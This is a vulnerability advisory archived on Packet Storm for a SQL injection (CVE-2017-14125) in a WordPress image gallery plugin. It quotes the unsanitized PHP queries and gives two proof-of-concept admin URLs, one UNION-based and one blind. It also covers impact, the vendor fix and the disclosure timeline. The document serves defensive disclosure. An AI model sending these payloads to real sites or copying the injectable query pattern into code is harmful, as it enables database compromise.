exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Responsive Image Gallery 1.1.8 SQL Injection

WordPress Responsive Image Gallery 1.1.8 SQL Injection
Posted Sep 21, 2017
Authored by Manuel Garcia Cardenas

WordPress Responsive Image Gallery plugin version 1.1.8 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2017-14125
SHA-256 | 5d6d5bc59c4b6c46cabe5218a99c3da34389ba51b7860a91a33705fcbb5eda0b

WordPress Responsive Image Gallery 1.1.8 SQL Injection

Change Mirror Download
=============================================
MGC ALERT 2017-006
- Original release date: September 01, 2017
- Last revised: September 25, 2017
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2017-14125
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin Responsive Image Gallery 1.1.8 - SQL Injection

II. BACKGROUND
-------------------------
Gallery is very important tool for any website. The most of users have
Galleries on their website. Our Gallery plugin allow you to display your
Galleries with awesome views and animation effects, so you need to try our
plugin.

III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:

/gallery-album/includes/frontend/gallery_class.php
$theme = $wpdb->get_row( "SELECT * FROM
".wpdevart_gallery_databese::$table_names['theme']." WHERE `id` =
$theme_id" );
/gallery-album/includes/admin/gallery_theme.php
$theme_params = $wpdb->get_row('SELECT * FROM
'.wpdevart_gallery_databese::$table_names['theme'].' WHERE id='.$id);

And when the query is executed, the parameter "id" it is not sanitized.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from SQL Injection.

Union SQL Injection POC:

/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=-1+UNION+ALL+SELECT+NULL,@@VERSION,NULL,NULL--

Blind SQL Injection POC:

/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=1+and+1=0

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Responsive Image Gallery 1.1.8

VII. SOLUTION
-------------------------
Vendor release a new version 1.2.1
https://downloads.wordpress.org/plugin/gallery-album.1.2.1.zip

VIII. REFERENCES
-------------------------
https://wordpress.org/plugins/gallery-album/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
September 01, 2017 1: Initial release
September 25, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
September 01, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
September 01, 2017 2: Send to vendor
September 22, 2017 3: Vendor fix the vulnerability and release a new version
September 25, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close